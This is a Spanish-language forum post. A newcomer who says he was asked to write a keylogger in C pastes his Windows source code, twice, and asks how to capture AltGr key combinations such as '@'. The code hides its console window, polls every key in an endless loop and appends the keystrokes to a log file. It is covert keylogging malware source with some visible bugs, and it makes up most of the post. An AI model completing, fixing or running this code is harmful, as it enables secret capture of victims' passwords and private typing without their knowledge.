Buenas tardes, soy nuevo en el foro y vengo buscando un poco de ayuda. Mi problema es que me han pedido hacer un keylogger en C que lea todo tipo de letras y carácteres especiales. La cuestión es que puedo leer cualquier carácter salvo cuando quiero escribir un carácter que está combinada por más de una tecla. Por ejemplo, quiero escribir el carácter '@', por lo que tendré que utilizar la tecla [Alt Gr] + 2. Soy nuevo en la programación de C, por favor necesito ayuda. Gracias!
Mi código es el siguiente:
------------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <ctype.h>
#define SHIFTED 0x8000
#define TECLA_OK -32767
/* Almacena las teclas en el fichero log */
int key2file(int tecla, char *file)
{
FILE *fd=NULL;
if((tecla ==1) || (tecla == 2))
return 0;
/* Abre fichero */
fd = fopen(file,"a+");
if(fd == NULL)
return 0;
/* Comprueba teclas */
if(tecla == 8)
fprintf(fd,"%s","[DEL]");
else if (tecla == 13)
fprintf(fd,"%s","\n");
else if (tecla == 32)
fprintf(fd,"%s"," ");
else if(tecla == 110 || tecla == 190)
fprintf(fd,"%s",".");
else if(tecla >= 0x2F && tecla <= 0x39)
{
/* Número */
fprintf(fd,"%s",(char *)&tecla);
}
else if(tecla >= 0x41 && tecla <= 0x5A)
{
/* Letra */
fprintf(fd,"%s",(char *)&tecla);
}
/* Impresion de caracteres especiales desde teclado numerico y pulsaciones de Mayusculas y shitf. */
switch(tecla){
case 106 :
{
fprintf(fd,"%s","*");
break;
}
case 107 :
{
fprintf(fd,"%s","+");
break;
}
case 108 :
{
fprintf(fd,"%s","\n");
break;
}
case 109:
{
fprintf(fd,"%s","-");
break;
}
case 110 :
{
fprintf(fd,"%s",".");
break;
}
case 111 :
{
fprintf(fd,"%s","/");
break;
}
case 9 :
{
fprintf(fd,"%s","[Tabulador]");
break;
}
case 20 :
{
fprintf(fd, "%s","[Bloq.Mayus.]");
break;
}
case 0x10 :
{
fprintf(fd, "%s","[Shitf]");
break;
}
case 0x11 :
{
fprintf(fd, "%s","[Ctrl]");
break;
}
case 0x11+0x32 :
{
fprintf(fd, "%s","@");
break;
}
}
fclose(fd);
return 0;
}
int main(void)
{
HWND Handle;
char tecla;
AllocConsole();
Handle = FindWindowA("consoleWindowClass",NULL);
ShowWindow(Handle,0);
/* Bucle de funcionamiento */
for(; ;
{
for(tecla=8; tecla<=190; tecla++)
{
if(GetAsyncKeyState(tecla) == TECLA_OK)
key2file(tecla,"keylog.txt");
}
}
return 0;
}
Mi código es el siguiente:
------------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <ctype.h>
#define SHIFTED 0x8000
#define TECLA_OK -32767
/* Almacena las teclas en el fichero log */
int key2file(int tecla, char *file)
{
FILE *fd=NULL;
if((tecla ==1) || (tecla == 2))
return 0;
/* Abre fichero */
fd = fopen(file,"a+");
if(fd == NULL)
return 0;
/* Comprueba teclas */
if(tecla == 8)
fprintf(fd,"%s","[DEL]");
else if (tecla == 13)
fprintf(fd,"%s","\n");
else if (tecla == 32)
fprintf(fd,"%s"," ");
else if(tecla == 110 || tecla == 190)
fprintf(fd,"%s",".");
else if(tecla >= 0x2F && tecla <= 0x39)
{
/* Número */
fprintf(fd,"%s",(char *)&tecla);
}
else if(tecla >= 0x41 && tecla <= 0x5A)
{
/* Letra */
fprintf(fd,"%s",(char *)&tecla);
}
/* Impresion de caracteres especiales desde teclado numerico y pulsaciones de Mayusculas y shitf. */
switch(tecla){
case 106 :
{
fprintf(fd,"%s","*");
break;
}
case 107 :
{
fprintf(fd,"%s","+");
break;
}
case 108 :
{
fprintf(fd,"%s","\n");
break;
}
case 109:
{
fprintf(fd,"%s","-");
break;
}
case 110 :
{
fprintf(fd,"%s",".");
break;
}
case 111 :
{
fprintf(fd,"%s","/");
break;
}
case 9 :
{
fprintf(fd,"%s","[Tabulador]");
break;
}
case 20 :
{
fprintf(fd, "%s","[Bloq.Mayus.]");
break;
}
case 0x10 :
{
fprintf(fd, "%s","[Shitf]");
break;
}
case 0x11 :
{
fprintf(fd, "%s","[Ctrl]");
break;
}
case 0x11+0x32 :
{
fprintf(fd, "%s","@");
break;
}
}
fclose(fd);
return 0;
}
int main(void)
{
HWND Handle;
char tecla;
AllocConsole();
Handle = FindWindowA("consoleWindowClass",NULL);
ShowWindow(Handle,0);
/* Bucle de funcionamiento */
for(; ;
{
for(tecla=8; tecla<=190; tecla++)
{
if(GetAsyncKeyState(tecla) == TECLA_OK)
key2file(tecla,"keylog.txt");
}
}
return 0;
}